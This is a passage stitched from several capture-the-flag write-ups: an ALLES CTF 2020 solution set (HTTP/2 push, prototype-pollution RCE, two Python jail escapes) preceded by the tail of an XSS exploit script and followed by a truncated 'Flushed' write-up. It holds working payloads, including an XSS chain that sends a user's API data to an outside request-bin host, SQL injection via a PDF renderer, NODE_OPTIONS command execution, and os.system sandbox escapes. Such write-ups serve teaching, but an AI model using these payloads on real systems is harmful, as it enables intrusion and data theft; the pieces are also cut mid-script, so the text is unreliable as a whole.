# NOTE: This supports multiline payloads, but each line is within it's own scope,# so if you want to reuse variables they need to be defined globally. Also, you# can't use semicolons and if you want to use a +, you need to define it as `%2B`.xss_code = """window.requestbin = "https://postb.in/1599419937004-0317174713127?data="fetch("https://api.wimc.ctf.allesctf.net/1.0/user", {method:"GET", cache:"force-cache"}).then(a => a.json()).then(b => location.href=requestbin%2BJSON.stringify(b))"""# This payload can be used for local testing# fetch("http://api:1337/1.0/user", {method:"GET", cache:"force-cache"}).then(a => a.json()).then(b => location.href=requestbin%2BJSON.stringify(b))
def build_xss_payload(): exploit_lines = xss_code.split("\n")[1:-1] # We intentionally include the already encoded + to double encode it. # Without this it gets removed before the server actually runs it and we get # a JS syntax error there. xss_exploit = "\"%2B[" for line in exploit_lines: xss_exploit += "() => {" + line + "},"
xss_exploit = xss_exploit[:-1] # trim trailing comma xss_exploit += "].forEach(f => f())//" return xss_exploit
def add_xss_url(): xss_payload = {'api_key': build_xss_payload()} xss_query = urlencode(xss_payload, quote_via=quote_plus) return f"{BASE_URL}?{xss_query}"
def add_xss_url_no_encode(): xss_exploit = build_xss_payload() return f"{BASE_URL}?api_key={xss_exploit}"
# This only works locally since recaptcha is used remotely.def exploit(): url = add_xss_url_no_encode() # we use this one since requests auto-encodes print(f"[+] XSS URL: {url}") payload = {"description": "whatever", "url": url} req_url = f"{ADMIN_BASE_URL}/support" print(f"[+] POST to {req_url}") res = requests.post(req_url, data=payload) print(f"[+] {res.status_code}: {res.text}") return res
# We use XMLHttpRequest because fetch isn't available in the context the PDF generator runs.report_xss_html = """<script>var data = "balance=1, 'TESTING WALLET 1234'), ('1', (select user_id from general where username='tpurp' limit 1), 1, (select note from wallets w where owner_id='13371337-1337-1337-1337-133713371337' limit 1)); #"
var http = new XMLHttpRequest();http.open('POST', 'http://127.0.0.1:1337/internal/createTestWallet', true);http.setRequestHeader('Content-type', 'application/x-www-form-urlencoded');http.send(data);</script>"""def exploit_create_report(api_token): req_url = f"{API_BASE_URL}/admin/createReport" print(f"[+] POST to {req_url}") payload = {'html': report_xss_html} headers = {'X-API-TOKEN': api_token} res = requests.post(req_url, data=payload, headers=headers) print(f"[+] {res.status_code}") return res if REMOTE: # just print the URL since we can't automatically exploit due to recaptcha print(add_xss_url()) # once we get api_key, update this and call api_key = "ADMIN_API_KEY_HERE" exploit_create_report(api_key)else: exploit()``` |
# ALLES CTF 2020
#### Challenges
[Push](#push) [OnlyFreights](#onlyfreights) [Pyjail_ATricks](#pyjail_atricks) [Pyjail_Escape](#pyjail_escape)
## Push
https://push.ctf.allesctf.net/
Upon opening the challenge link, there is nothing much to see:
At first, i couldn't figure out what's going on, but when i `curl`'ed it,there is something interesting
The server is using HTTP/2, which is very unusual.
Now it's clear, refering back to the challenge's title.The server is obviously using `HTTP Server Push`
Basically, Server push allows sites to send assets to the user before the user asks for it, so when we request /index.html,the server can request others ressources, in our case, the FLAG.
<h4> So how do we get the flag ?</h4>
Most nowadays tools and proxies like Burp doesn't support HTTP/2,that's why no matter what proxy you use, you can't see the hiddenrequests.
The way i solved it is by using Chrome Net Export tool
We start Logging, refresh the challenge page, then stop logging.a file will be generated, and that's it
A file will be generated, it contains all the requests done during the logging, let's search for the flag:
**FLAG:** `ALLES{http2_push_dashdash_force}`
## OnlyFreights
Description:
```Check out my OnlyFreights! A website to classify all the freight ships.
NOTE: There is a secret cargo stored at /flag.txt,
but you need to convince the /guard executable to hand it to you!
Challenge Files: only-freights.zip```
##Writeup
### PART1: Getting an RCE
First thing i did, was to check the site ... nothing interesting,then i started reading the code. it's a Node/Express.Js app,with 3 Routes:
With the second route, we can Add/Edit objects.And the third route, apparenlty it's just spawning a child processand executing the `ps` command.
With some googling, we find out it's a `Javascript Prototype Pollution` attack, that can lead us to an RCE if we combine it with the last Route.
First things first, what is a Prototype Pollution ?
Javascript allows ALL Object attributes to be modified, including the magic attributes like `constructor`, `prototype`, and `__proto__`. And because all objects in JS inherits from `Object`, any change in the prototype of `Object` will automatically apply toall future created objects.
Let's have some examples:
`guest` doesn't have an `isAdmin` property, So when we pollute the prototype by adding a new property, and then if we try to access `isAdmin` which is not present in `guest` it will automatically look up to the base object which NOW has the `isAdmin` set to `true`
Here is another example, this time by changing the toString() method:
Basically, `Prototype Pollution` helps the attacker to manipulate attributes, by overwriting, or polluting, a JavaScript object prototype of the base object by injecting other values. Properties on the Object.prototype are then inherited by all the JavaScript objects through the prototype chain.
Okay so how will this help us get an RCE ?
Changing some attributes is great, but in this case it's not really helpful.
We need to find what attributes we can pollute to triggera command execution when spawning a child process.
The answer is: `ENVIRONMENT variables`
But why ?
When reading the [official documentation](https://nodejs.org/api/child_process.html) of child processes in Nodejs.We can see that when we spawn a new process, we can specify certain options, and guess what ? they have DEFAULT valeus:
The ones that interrest us the most are `env` and `shell`, focus with me:
if `env` is not defined, `process.env` will be used, so if we pollute the `protoype` with some `env` variables, it will use the ones we defined and not `process.env`
and if `shell` is not defined, `/bin/sh` will be used, but that's not what we want, we need to pollute it with `node` as a value, because we want to execute Javascript code.
What are the env variables we need to inject ?
This is a tricky part, it turns out, the `node` cli allows to use the env variable named `NODE_OPTIONS`, it allows to specify certain options for the `node` command. such as `--eval` and `--require`, but sadly `--eval` is not allowed within `NODE_OPTIONS`, probably to prevent this exact attack :3You can check the full list of options [here](https://nodejs.org/api/cli.html)
We are left with `--require`, it will include and execute an external JS file .... Hmmm, but what can we include ?
Why not create an env variable with a Node.JS code, and use `--require` to include `/proc/self/environ`
YEAH !!! THIS IS EXACTLY THE WAY TO GO
Note: this is why we have to set `shell` to `node`, otherwise, `NODE_OPTIONS` will just be ignored.
Let's try it:
Pollute `shell`
Pollute `env`
Check OUTPUT:
And with a Shell execution:
```JSON{"aaaa":"console.log(require('child_process').execSync('ls').toString());//"}```
Et VOILA!
We have a pretty good Command Execution.
What's next ?
We're finished with PART1Yeah, yeah, and this is the easiest part,the hardest is yet to come.
### PART 2: Reading the flag
It's not as simple as executing `/guard`,if you take a look at the source code, to get the flagwe have to execute `/guard` and interact with it, we haveto give the correct answer for the sum of two random numbers:
The first thought of course is to get a reverse shell, and directly interract withthe binary, but it's not possible, at least i couldn't, and it is not the intended solution anyway.
The easiest solution is to use python with subprocess module, but sadly `python` isnot installed on the server. so the only left solution is to use pure `sh` with `named pipes`.
The steps are as follows:
1. create two pipes: `pin` and `pout`, one for `stdin` and one of `stdout`2. run `/guard` in the background and redirect its `stdin` and `stdout` to the two pipes created3. read the two random numbers from `pout`4. Calculate the sum, and send it to `pin`5. read the response from `pout` which should be the flag.
```bash#!/bin/shmkfifo /tmp/pout /tmp/pin 2> /dev/nullexec 3<> /tmp/poutexec 4<> /tmp/pin./guard > /tmp/pout < /tmp/pin &read -t 1 out <&3# ${out%?} to remove last letter; and $((${out%?})) to eval the sumecho $((${out%?})) > /tmp/pinread -t 1 out <&3echo $out```
I tried this locally, it worked and showed me the fake flag. but running this on the server didn't work, i couldn't understand, I struggled a lot with this step, changed script little, nothing worked.
I almost gave up on this challenge, but then i wanted to give it another shot, i decided to start over, with the same steps as above BUT this time, i waned a One-line script that does all of the above steps.
I came up with:
```bashmkfifo /tmp/pipe
cat /tmp/pipe | /guard | (read -t 1 out; echo $((${out%?})) > /tmp/pipe; cat)```
Explanation:
Because of the pipes, the command will be executed from right to left, so first:`(read -t 1 out; echo $((${out%?})) > /tmp/pipe; cat)` is executed.the command `read` takes input from stdin and store in `$out`, and in thiscase `stdin` is the outpout of `/guard` i.e the two random numbers, then the sum iscalculated, and the result is stored in `/tmp/pipe`.after that, `/guard` will take input from `stdin` which is passed from the `/tmp/pipe` which now contains the result of the sum.
Guess what ?Even this code works only locally, not on the server :3But this time it shows `Wrong!`.At Least that's an improvement, we get to see an output Lool
After some debugging, i found out that somehow `read` is not taking the output of `./guard`.I still don't know why.So i had to change `read` with something equivalent.I thought let's try reading directly from `/dev/stdin`
```bashcat /tmp/pipe | /guard | (l=$(head -c 24 /dev/stdin); echo $((l)) > /tmp/pipe;cat)```
**Note:** I'm using `head -c 24` to take exactly the amount of characters i need, without the `=` symbol
Let's try this time:
```JavaScript
{ "value":{ "aaaa":"console.log(require('child_process').execSync('cat /tmp/pipe | /guard | (l=$(head -c 24 /dev/stdin); echo $((l)) > /tmp/pipe;cat)').toString());//", "NODE_OPTIONS":"--require /proc/self/environ" }}```
**Flag:** `ALLES{Gr3ta_w0uld_h4te_th1s_p0lluted_sh3ll}`
# Pyjail_ATricks
**Description**
```Run the secret function you must! Hrrmmm. A flag maybe you will get.```
**Solution**
After connecting to the server, we quickly notices lot of chars are filtered
So i typed all of printable chars to get the blacklisted and whitelisted chars:
```>>> a = 0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ!"#$%&'()*+,-./:;<=>?@[\]^_`{|}~4568bfhjkmquwxyzbfhjkmquwxyz!#$%&*,-/:;<=>?@\^`{|}~Denied```
From this we extract the white listed chars:
```012379acdegilnoprstv"'()+.[]_```
First i wanted to print `__builtins__` but `b` and `u` are blacklisted, so i replaced `b` with `eval.__doc__[37+9+1]` and `u` with `eval.__doc__[3+1]`
```python>>> a = eval("print(__"+eval.__doc__[37+9+1]+eval.__doc__[3+1]+"iltins__.__dict__)"){'repr': <built-in function repr>, 'str': <class 'str'>, 'print':<built-in function print>, 'eval': <built-in function eval>,'input': <built-in function input>, 'any': <built-in functionany>, 'exec': <built-in function exec>, 'all': <built-in functionall>, 'Exception': <class 'Exception'>}```
I quickly noticed that `input` is allowed, let's use it:
```python>>> a = print(eval(eval("inp"+eval.__doc__[3+1]+"t()")))ALLES()No flag for you!```
Probably it expects an argument.So Let's inspect the function ALLES
```python>>> a = print(eval(eval("inp"+eval.__doc__[3+1]+"t()")))ALLES.__code__.co_consts(None, 'p\x7f\x7frbH\x00DR\x07CRUlJ\x07DlRe\x02N', 'No flag for you!')
>>> a = print(eval(eval("inp"+eval.__doc__[3+1]+"t()")))ALLES.__code__.co_names('string_xor',)```
there is a non printable constant, and a probably a function called `string_xor` we can try to xor `p\x7f\x7frbH\x00DR\x07CRUlJ\x07DlRe\x02N` with `ALLES{`
```python>>> from pwn import xor>>> xor('p\x7f\x7frbH\x00DR\x07CRUlJ\x07DlRe\x02N','ALLES{')b'133713A\x08\x1eB\x10)\x14 \x06B\x17\x17\x13)N\x0b'>>> xor('p\x7f\x7frbH\x00DR\x07CRUlJ\x07DlRe\x02N','1337')b'ALLES{3sc4ped_y0u_aR3}'```
**FLAG:** `ALLES{3sc4ped_y0u_aR3}`
# Pyjail_Escape
**Description**
```Python leave you must, to be master real!```
**Solution**
Because of the previous challenge we know
we can use `input` to execute pretty much anything and bypass the blacklisted chars
Let's print all subclasses()
```python>>> a = print(eval(eval("inp"+eval.__doc__[3+1]+"t()")))"".__class__.__mro__[1].__subclasses__()[<class 'type'>, <class 'weakref'>, <class 'weakcallableproxy'>, <class 'weakproxy'>, <class 'int'>, <class 'bytearray'>, <class 'bytes'>, <class 'list'>, <class 'NoneType'>, <class 'NotImplementedType'>, <class 'traceback'>, <class 'super'>, <class 'range'>, <class 'dict'>, <class 'dict_keys'>, <class 'dict_values'>, <class 'dict_items'>, <class 'odict_iterator'>, <class 'set'>, <class 'str'>, <class 'slice'>, <class 'staticmethod'>, <class 'complex'>, <class 'float'>, <class 'frozenset'>, <class 'property'>, <class 'managedbuffer'>, <class 'memoryview'>, <class 'tuple'>, <class 'enumerate'>, <class 'reversed'>, <class 'stderrprinter'>, <class 'code'>, <class 'frame'>, <class 'builtin_function_or_method'>, <class 'method'>, <class 'function'>, <class 'mappingproxy'>, <class 'generator'>, <class 'getset_descriptor'>, <class 'wrapper_descriptor'>, <class 'method-wrapper'>, <class 'ellipsis'>, <class 'member_descriptor'>, <class 'types.SimpleNamespace'>, <class 'PyCapsule'>, <class 'longrange_iterator'>, <class 'cell'>, <class 'instancemethod'>, <class 'classmethod_descriptor'>, <class 'method_descriptor'>, <class 'callable_iterator'>, <class 'iterator'>, <class 'coroutine'>, <class 'coroutine_wrapper'>, <class 'EncodingMap'>, <class 'fieldnameiterator'>, <class 'formatteriterator'>, <class 'filter'>, <class 'map'>, <class 'zip'>, <class 'moduledef'>, <class 'module'>, <class 'BaseException'>,<class '_frozen_importlib._ModuleLock'>, <class '_frozen_importlib._DummyModuleLock'>, <class '_frozen_importlib._ModuleLockManager'>, <class '_frozen_importlib._installed_safely'>, <class '_frozen_importlib.ModuleSpec'>, <class '_frozen_importlib.BuiltinImporter'>, <class 'classmethod'>, <class '_frozen_importlib.FrozenImporter'>, <class '_frozen_importlib._ImportLockContext'>, <class '_thread._localdummy'>, <class '_thread._local'>, <class '_thread.lock'>, <class '_thread.RLock'>, <class '_frozen_importlib_external.WindowsRegistryFinder'>, <class '_frozen_importlib_external._LoaderBasics'>, <class '_frozen_importlib_external.FileLoader'>, <class '_frozen_importlib_external._NamespacePath'>, <class '_frozen_importlib_external._NamespaceLoader'>, <class '_frozen_importlib_external.PathFinder'>, <class '_frozen_importlib_external.FileFinder'>, <class '_io._IOBase'>, <class '_io._BytesIOBuffer'>, <class '_io.IncrementalNewlineDecoder'>, <class 'posix.ScandirIterator'>, <class 'posix.DirEntry'>, <class 'zipimport.zipimporter'>, <class 'codecs.Codec'>, <class 'codecs.IncrementalEncoder'>, <class 'codecs.IncrementalDecoder'>, <class 'codecs.StreamReaderWriter'>, <class 'codecs.StreamRecoder'>, <class '_weakrefset._IterationGuard'>, <class '_weakrefset.WeakSet'>, <class 'abc.ABC'>, <class 'collections.abc.Hashable'>, <class 'collections.abc.Awaitable'>, <class 'collections.abc.AsyncIterable'>, <class 'async_generator'>, <class 'collections.abc.Iterable'>, <class 'bytes_iterator'>, <class 'bytearray_iterator'>, <class 'dict_keyiterator'>, <class 'dict_valueiterator'>, <class 'dict_itemiterator'>, <class 'list_iterator'>, <class 'list_reverseiterator'>, <class 'range_iterator'>, <class 'set_iterator'>, <class 'str_iterator'>, <class 'tuple_iterator'>, <class 'collections.abc.Sized'>, <class 'collections.abc.Container'>, <class 'collections.abc.Callable'>, <class 'os._wrap_close'>, <class '_sitebuiltins.Quitter'>, <class '_sitebuiltins._Printer'>, <class '_sitebuiltins._Helper'>]```
We need `os._wrap_close` to execute `system` function
```python>>> a = print(eval(eval("inp"+eval.__doc__[3+1]+"t()")))"".__class__.__mro__[1].__subclasses__()[117].__init__.__globals__["system"]("ls -la")total 40drwxr-xr-x. 2 root root 131 Sep 3 18:27 .drwxr-xr-x. 3 root root 17 Jul 22 18:42 ..-rw-r--r--. 1 root root 220 Apr 4 2018 .bash_logout-rw-r--r--. 1 root root 3771 Apr 4 2018 .bashrc-rw-r--r--. 1 root root 807 Apr 4 2018 .profile-rw-r--r--. 1 root root 29 Aug 29 15:20 LOS7Z9XYZU8YS89Q24PPHMMQFQ3Y7RIE.txt-rwxr-xr-x. 1 root root 1328 Sep 3 18:27 pyjail.py-rwxr-xr-x. 1 root root 18744 Jul 22 18:50 ynetd```
Let's read `LOS7Z9XYZU8YS89Q24PPHMMQFQ3Y7RIE.txt`:
```python>>> a = print(eval(eval("inp"+eval.__doc__[3+1]+"t()")))"".__class__.__mro__[1].__subclasses__()[117].__init__.__globals__["system"]("cat LOS7Z9XYZU8YS89Q24PPHMMQFQ3Y7RIE.txt")ALLES{th1s_w4s_a_r34l_3sc4pe}```
**Flag:** `ALLES{th1s_w4s_a_r34l_3sc4pe}`
As simple as that x) |
# Flushed
Author: [roerohan](https://github.com/roerohan)
# Requirements
- Python
# Source
```It is like Rescue Mission all over again! Except this time... the flag was flushed down the toilet!
Connect here:nc jh2i.com 50015```
# Exploitation
This challenge is similar to `Rescue Mission`. There's a `flag.png` on the server, but standard out always executes the `toilet` command on linux, hence the output is in the form of some ASCII art.
```bash$ nc jh2i.com 50015user@flushed:/home/user$ lsls m"" ""# mm#mm # mmm mmmm mmmm m mm mmmm # # " # #" "# #" "# #" # #" "# # # m"""# # # # # # # # # # "mm "mm"# "#m"# # ##m#" # # "#m"# m # # m # "" " "" user@flushed:/home/user$```
However, `stderr` is not running the `toilet` command.
```bashuser@flushed:/home/user$ ls 1>&2 ls 1>&2flag.png```
You can convert the flag to base64 using:
```bash$ nc jh2i.com 50015user@flushed:/home/user$ cat flag.png | base64 1>&2cat flag.png | base64 1>&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